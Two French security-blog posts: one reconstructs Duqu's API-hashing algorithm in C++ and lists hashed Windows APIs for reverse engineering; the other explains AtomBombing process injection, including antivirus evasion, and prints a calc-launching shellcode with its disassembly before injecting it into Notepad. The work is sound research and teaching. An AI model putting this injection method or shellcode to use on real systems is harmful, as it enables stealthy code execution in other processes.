mercredi 4 avril 2018

Les Hashs Api du malware Duqu



I.    Introduction

Duqu est classifié comme malware, mais c'est  surtout un ensemble de composantes logicielles offrant une gamme de services pour des commanditaires leur permettant de créer une action d'espionnage industrielle.

Il faut assimilé Duqu comme un malware modulaire en kit.

Dans cette quelque ligne, nous allons revoir celui-ci, en  regardant uniquement la partie hash des Api pour comparaison a d'autre construction de hash déjà référencé chez d'autres malware.

II.          Algorithme de création des hashs


A partir d'information disparate existant sur le web, nous avions crée un tools permettant de disposer de l'algorithme de hash de Duqu en C++

Nous avions réalise ce programme à l'époque pour lister les hashs des Apis au sein du malware et disposer de l'algorithme lors d'inverse ingénierie sur des binaires non identifié

voici l'outil en question :



















 



Nous mettons l'algorithme de génération correspondant du malware Duqu

DWORD CalcCustomHashDuqu(const char* pApiName )
{                 
    DWORD dwHash = 0xF748B421;

            int i=0;
            do
            {
                        dwHash = dwHash * 0xD4C2087;
                        dwHash = dwHash ^ pApiName[i];
                        i++ ; // utilisation de INC ECX dans duqu
            }while(pApiName[i]!=0x00);

            return dwHash;
}

dans l'exemple nous avons pris l'api "FreeLibrary" qui à pour hash 0x19BD1298

Lors d'une analyse,disposer des hashs cela permet d'avoir un point d'accroche via les APIs sur les actions réalisé par le malware


I.    Référence des Hashs Api


Nous remettons la listes des hashs par API référencé dans les premiers version de Duqu
Cela donne une bonne images des interactions avec le system Windows

Module Kernel32.dll

Hash Value
Dll
Api Function
0x88444BE9
Kernel32.dll
CreateToolhelp32Snapshot
0x92D66FBA
Kernel32.dll
Process32FirstW
0xD1A588DB
Kernel32.dll
Process32NextW
0xFCAA0AB8
Kernel32.dll
OpenProcess
0xAE75A8DB
Kernel32.dll
CreateProcessW
0xCF5350C5
Kernel32.dll
GetNativeSystemInfo
0xDCAA4C9F
Kernel32.dll
IsWow64Process
0x4BBFABB8
Kernel32.dll
lstrcmpiW
0xA668559E
Kernel32.dll
VirtualQuery
0x4761BB27
Kernel32.dll
VirtualProtect
0xD3E360E9
Kernel32.dll
GetProcAddress
0x6B3749B3
Kernel32.dll
MapViewOfFile
0xD830E518
Kernel32.dll
UnmapViewOfFile
0x78C93963
Kernel32.dll
FlushInstructionCache
0xD83E926D
Kernel32.dll
LoadLibraryW
0x19BD1298
Kernel32.dll
FreeLibrary
0x6F8A172D
Kernel32.dll
CreateThread
0xBF464446
Kernel32.dll
WaitForSingleObject
0xAE16A0D4
Kernel32.dll
GetExitCodeThread
0x3242AC18
Kernel32.dll
GetSystemDirectoryW
0x479DE84E
Kernel32.dll
CreateFileW
0xB67F8157
Kernel32.dll
CreateRemoteThread

Module psapi.dll

Hash Value
Dll
Api Function
0xBCC7C0DA
psapi.dll
GetModuleFileNameExW
 
Module advapi32.dll

Hash Value
Dll
Api Function
0x6012A950
advapi32.dll
RegOpenKeyExW
0xC6151DC4
advapi32.dll
RegQueryValueExW
0xF03A2554
advapi32.dll
RegCloseKey
0x9C6E14F8
advapi32.dll
CreateProcessAsUserW
0x702B6244
advapi32.dll
DuplicateTokenEx
0x2EDB7947
advapi32.dll
OpenProcessToken
0x557DBBB6
advapi32.dll
LookupPrivilegeValueW
0xE763A4A3
advapi32.dll
AdjustTokenPrivileges
 
Module version.dll

Hash Value
Dll
Api Function
0xD4DE04DA
version.dll
GetFileVersionInfoW
0xCEF01246
version.dll
VerQueryValueW
 
Module userenv.dll

Hash Value
Dll
Api Function
0x3E692063
userenv.dll
CreateEnvironmentBlock
0xAFF5F91F
userenv.dll
DestroyEnvironmentBlock
 
Module ntdll.dll

Hash Value
Dll
Api Function
0x40C4EC59
ntdll.dll
NtQueryInformationProcess
0x40C4EC59
ntdll.dll
ZwQueryInformationProcess
0x5FC5AD65
ntdll.dll
NtCreateSection
0x5FC5AD65
ntdll.dll
ZwCreateSection
0x618FB794
ntdll.dll
NtMapViewOfSection
0x1D127D2F
ntdll.dll
ZwMapViewOfSection
0xCFB04FA1
ntdll.dll
NtUnmapViewOfSection
0x468B8A32
ntdll.dll
ZwUnmapViewOfSection
0xB446D59D
ntdll.dll
NtClose
0xDB8CE88C
ntdll.dll
ZwClose

II.          Conclusions


L'intérêt si on identifie la méthode de génération des hashs d'api, on peut lister les Apis utilisés par le programme malveillant et aussi faire des rapprochement entre des échantillons
différents. Souvent le générateur peut être aussi une signature de l'auteur. l'auteur de ce programme ou schellcode utilise des sous-routines ou bloc de shellcode qui on déjà fait leurs preuves dans d'autre projet et développement. Il sera tenté des les réutilisés dans une autre conception.

Il faut pas oublier que cela peu prendre du temps de crée ses tools comme tous développeurs
Il ne réécrit pas tous mais assembles des blocs comme des classes métier ou dédier à des opérations.

dimanche 31 décembre 2017

AtomBombing Injection


I.    Introduction

 
Il existe différent mode d'injection de code dans une applications cible. Il est intéressant de voir qu'il existe de nouvelle technique ou des apis ressortant du passer.

Nous allons parler de cette technique apparu en octobre 2016 mis en avant par une équipe de chercheurs en sécurité de la société enSilo.

l'AtomBombing injection, ce nom est basé sur les Api utilisées pour introduire du code dans un processus cible.

Cette nouvelle technique d'injection de code pour Windows, ce base sur le mécanisme des Table d'Atom de windows.

Une table d'Atom dans l'architecture de windows sert pour partager / échanger des données, c'est-à-dire des atomes, entre processus, en utilisant la mémoire système partagée. Les tables Atom sont utiles lorsque les processus doivent accéder aux mêmes chaînes. Microsoft définit les tables Atom comme suit:

"Une table d'Atom est une table définie par le système qui stocke des chaînes accessible avec des identifiants. Une application place une chaîne dans une table Atom et reçoit un entier de 16 bits comme identifiant dans la table que l'on appelé un "Atom" qui peut être utilisé pour accéder à la chaîne, qui a été placée dans la "Atom Table". C'est  ce que l'on  appel un nom d'atome".

L'idée derrière ce nouveau mode d'injection  est que l'on peut utiliser cette table pour transfert du code en  créant  un nom d'atome contenant le code malveillant sous la forme d'une chaîne par exemple un shellcode au lieu d'écrire une chaîne légitime, puis de contraindre le processus cible à charger le code au travers d'une Api récupérant la chaîne via l'identifiant référencé par l'Atom et ensuite de forcer à l'exécuter ce code malveillant.

II.    L'injection AtomBombing en 3 étapes clés

·  En premier disposer ou déterminer une zone mémoire dans le processus cible pouvant accueillir le bloque mémoire à injecter qui peut être exécutable et acceptant l'écriture
Cela peut être dans un cave code ou en appelant l'Api  "VirtualAllocEx" dans le processus malveillant vers la cible.

·  Appelez la fonction "GlobalAddAtom" via le processus malveillant pour injectez le code malveillant sous la forme d'une chaîne dans la table Atom globale du systéme. faut bien garder à l'esprit qu'une table Atom globale est accessible à tous les processus du système.

·  Utilisez un appel de procédure asynchrone (APC)  pour forcer appel de la fonction "GlobalGetAtomName", afin de contraindre le processus cible légitime à copier le code malveillant via la  table Atom globale dans l'espace mémoire de son  processus via l'Atom

En suite le processus malveillant via différente technique n'a pas plus cas forcer l'exécution du code dans le processus qui à été inoculer par notre code malveillant comme il dispose de l'emplacement via l'address ou est stocké celu-ci  dans le processus  cible.

L'attaque peut fonctionner contre tout processus ayant un thread dans un état d'attente pour l'utilisation des APC.

Revenons sur les Apis clés lié à la gestion des Atoms

Historiquement ces fonctions permettent échanger des strings via une table système et référencé via un identifiant codé sur un WORD. Elle sert à des processus à échanger des donnée nommé via mécanisme DDE  (Dynamic Data Exchange ).

Schéma du principe du DDE via Table d'Atom























Les interactions des Apis interagissant avec la Table d'Atom  























 
Les deux d'API a regardé sont:
  • GlobalAddAtom(..) : Ajoute une chaîne de caractères à la table Atom globale et renvoie une valeur unique (un atome) identifiant la chaîne sur un WORD.
  • GlobalGetAtomName(..) : Récupère une copie de la chaîne de caractères associée à l'atome global spécifié.
En appelant GlobalAddAtom(..), vous pouvez stocker un tampon terminé par 0x00 dans la table atom globale. Cette table est accessible depuis tous les autres processus du système. Le tampon peut ensuite être récupéré en appelant GlobalGetAtomName(..) .

GlobalGetAtomName attend un pointeur vers le buffer de sortie, de sorte que l'appelant choisit où le buffer sera stocké.

Via un petit programme, nous montrons ce processus DDE entre 2 process.
L'un insére dans la table d'Atom et récupérer l'identificant dans notre exemple 0x343. Et l'autre récupérer la chaîne via l'Atom ( 0x343 ).

 
































Important, les chaînes pouvant être contenu dans la Table d'Atom ont une taille maximum de 256 octets. Et également elle est conçu pour pas contenir de doublons . Si vous deux applications insérer la même chaîne la table d'Atom vous renverra le même ATOM.

Maintenant rentrons dans notre cas pratique

Ajouter un buffer contenant un shellcode à la table Atom globale en appelant GlobalAddAtom(..), puis que le processus cible appelle GlobalGetAtomName(..), cela permet de copier le shellcode vers le processus cible, sans appeler les classiques API WriteProcessMemory(..) qui son scruté par les Anti-virus.
L'appel de GlobalAddAtom(..)est basique dans le l'injecteur, mais la partie la plus subtile et de contraindre le processus cible à  appeler l'API GlobalGetAtomName(..)

Le prototype de l'API GlobalGetAtomName(..) est la suivant:

 
  UINT WINAPI GlobalGetAtomName ( _In_ ATOM nAtom, _Out_ LPTSTR lpBuffer, _In_ int nSize )

 
Puisque GlobalGetAtomName attend 3 paramètres. Nous ne pouvons pas utiliser QueueUserApc(..) qui ne prend que un paramètre.


Il faut ce tourné vers d'autre API Native APC qui elle peuvent prendre jusqu'a 3 paramêtres qui sont NtQueueApcThread (..) ou ZwQueueApcThread(..).

Maintenant pour notre shellcode, il doit respecter 2 contraintes l'une pas contenir de 0x00. Hormis délimité la fin de chaîne et surtout ne pas dépasser 256 octets.

Pour notre exemple nous avons utiliser un shellcode de type WinExec lançant la calculatrice. Etant qu'a faire qui soit compatible sur Vista / Win7

Pour cela nous allons utiliser un outils disposant de différents Shellcode auto construit
nommé ConstructShellCodePEBWinExecCalc.exe. Le prototype 4 répond à nos deux critères de taille et n'incluans pas de 0x00.



























Nous mettons le shellcode dans le tableau en dessous en rajoutant le fin de chaîne 0x00.

\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30
\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39
\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF
\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11
\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A
\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3\x00

Bon vu comme cela c'est pas très explicite. Nous vous mettons le codes Assembleur correspondant 


00000000:   78 35                                  JS 35h (rel8)(+35h ->:00000037)'Saut si drapeau de signe vaut 1 (SF=1)'
00000002:   35 8B EC 51 53                  XOR EAX,5351EC8Bh
00000007:   57                                       PUSH EDI
00000008:   EB 6D                                 JMP 6Dh +6Dh ->:00000077)
0000000A:   60                                      PUSHAD
0000000B:   8B 6C 24 24                       MOV EBP,[ESP+24h]
0000000F:   8B 45 3C                            MOV EAX,DWORD PTR [EBP+3Ch]
00000012:   8B 54 05 78                       MOV EDX,DWORD PTR[EBP+EAX+78h]
00000016:   01 EA                                 ADD EDX,EBP
00000018:   8B 4A 18                            MOV ECX,[EDX+18h]
0000001B:   8B 5A 20                           MOV EBX,DWORD PTR [EDX+20h]
0000001E:   01 EB                                 ADD EBX,EBP
00000020:   E3 34                                  JECXZ 34h (-FFFFFFCCh ->:00000056)
00000022:   49                                       DEC ECX
00000023:   8B 34 8B                            MOV ESI,[EBX+ECX*4]
00000026:   01 EE                                  ADD ESI,EBP
00000028:   31 FF                                  XOR EDI,EDI
0000002A:   31 C0                                 XOR EAX,EAX
0000002C:   FC                                      CLD
0000002D:   AC                                     LODSB
0000002E:   84 C0                                 TEST AL,AL
00000030:   74 07                                  JZ 07h (-FFFFFFF9h ->:00000039)
00000032:   C1 CF 0D                            ROR EDI,0Dh (13)
00000035:   01 C7                                 ADD EDI,EAX
00000037:   EB F4                                 JMP F4h (-0Ch ->:0000002D)
00000039:   3B 7C 24 28                       CMP EDI,[ESP+28h]
0000003D:   75 E1                                 JNZ E1h (rel8)(-1Fh ->:00000020)
0000003F:   8B 5A 24                            MOV EBX,DWORD PTR [EDX+24h]
00000042:   01 EB                                 ADD EBX,EBP
00000044:   66 8B 0C 4B                       MOV CX,WORD PTR DS:[EBX+ECX*2]
00000048:   8B 5A 1C                           MOV EBX,DWORD PTR [EDX+1Ch]
0000004B:   01 EB                                 ADD EBX,EBP
0000004D:   8B 04 8B                            MOV EAX,DWORD PTR[EBX+ECX*4]
00000050:   01 E8                                  ADD EAX,EBP
00000052:   89 44 24 1C                       MOV DWORD PTR[ESP+1Ch],EAX
00000056:   61                                       POPAD
00000057:   C3                                      RET
00000058:   56                                       PUSH ESI
00000059:   57                                       PUSH EDI
0000005A:   33 C9                                 XOR ECX,ECX
0000005C:   64 8B 71 30                       MOV ESI,DWORD PTR FS:[ECX+30h]
00000060:   8B 76 0C                            MOV ESI,[ESI+0Ch]
00000063:   8B 76 1C                            MOV ESI,[ESI+1Ch]
00000066:   8B 46 08                            MOV EAX,DWORD PTR[ESI+08h]
00000069:   8B 7E 20                            MOV EDI,[ESI+20h]
0000006C:   8B 36                                 MOV ESI,DWORD PTR[ESI]
0000006E:   66 39 4F 18                        CMP WORD PTR[EDI+18h],CX
00000072:   75 F2                                  JNZ F2h (rel8)(-0Eh ->:00000066)
00000074:   5F                                       POP EDI
00000075:   5E                                       POP ESI
00000076:   C3                                      RET
00000077:   68 98 FE 8A 0E                  PUSH 0E8AFE98h "˜þŠ
" (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
0000007C:   E8 D7 FF FF FF                  CALL FFFFFFD7h (-29h ->:00000058)
00000081:   50                                       PUSH EAX
00000082:   E8 83 FF FF FF                   CALL FFFFFF83h (-7Dh ->:0000000A)
00000087:   BB 11 11 11 11                  MOV EBX,11111111h " "
0000008C:   81 F3 11 11 11 11             XOR EBX,11111111h 
00000092:   53                                       PUSH EBX
00000093:   68 2E 65 78 65                   PUSH 6578652Eh ".exe" / {46 101 120 101} / < w:30821 | w:11877 >
00000098:   68 63 61 6C 63                  PUSH 636C6163h "calc" / {99 97 108 99} / < w:27747 | w:25441 >
0000009D:   8B FC                                 MOV EDI,ESP
0000009F:   6A 01                                 PUSH 01h (1)
000000A1:   57                                      PUSH EDI
000000A2:   FF D0                                 CALL EAX
000000A4:   5F                                      POP EDI
000000A5:   5B                                      POP EBX
000000A6:   8B E5                                 MOV ESP,EBP
000000A8:   5D                                      POP EBP
000000A9:   C3                                      RET
000000AA:   00     
           

Nous allons passer le shellcode dans un analyseur de shellcode maison permettant d'extraire et donner un diagramme encore plus simple du code.

   




























Maintenant nous avons plus qu'a positionner ce shellcode dans la Table d'Atom et obtenir un Atom.



























Nous voyons dans notre exemple l'Atom correspondant est 0xC4C5

Si a partir de notre programme, nous récupérons la chaîne correspondante via
l'API GlobalGetAtomName(..), nous obtenons la vu suivant:

 

 

 

 

 

 

III.    Mise en pratique de l'injection




Maintenant nous allons injecter le shellcode dans un programme standard
Pour notre exemple nous utilisons comme cible "Notepad.exe"

nous injectons le shellcode via notre injecteur sur notre processus Notepad.exe qui a dans notre exemple le process ID = 3536 et comme Thread ID principale 2292

dans notre exemple nous avons utiliser l'API VirtualAllocEx(..) pour obtenir un bloc de mémoire PAGE_EXECUTE_READWRITE qui ce trouve à l'addresse 0x001A0000 dans l'exemple.

Pour visualiser la mémoire du processus Notepad.exe, nous avons utilisé un outil d'analyse de processus X32 permettant de faire un dump de la mémoire

Vous pouvez voir dans la capture écran suivant l'analyse de la mémoire correspondant
En fait, vous ne voyez pas le shellcode injecté, car pour l'instant le thread principal n'a pas encore traité les APC en attente pour ce thread principal.

























En fait, pour déclencher ou contrainte le processus Notepad.exe à traiter les APC en attente, il suffit d'appeler la boite ouvrir ou enregistrer pour voir les l'appel effectué et donc la mémoire rempli du shellcode.

 

 

 

 

 

 

 

 

 

IV.    Conclusions


Il est intéressant de voir le mécanisme windows et le fonctionnement des APIs 
En regardant bien cette technique à aussi d'autre avantage comme écrire dans un processus X64 à partir d'un processus X32 ou aussi en allant plus loin on peut regarder d'autre fonction utilisant des table d'Atom.

Car le système utilise des tables atomiques qui ne sont pas directement accessibles aux applications. Cependant, l'application utilise ces atomes lors de l'appel d'une variété de fonctions. Par exemple, les formats de presse-papiers enregistrés sont stockés dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClipboardFormat(..). De plus, les classes enregistrées sont stockées dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClass(..) ou RegisterClassEx(..).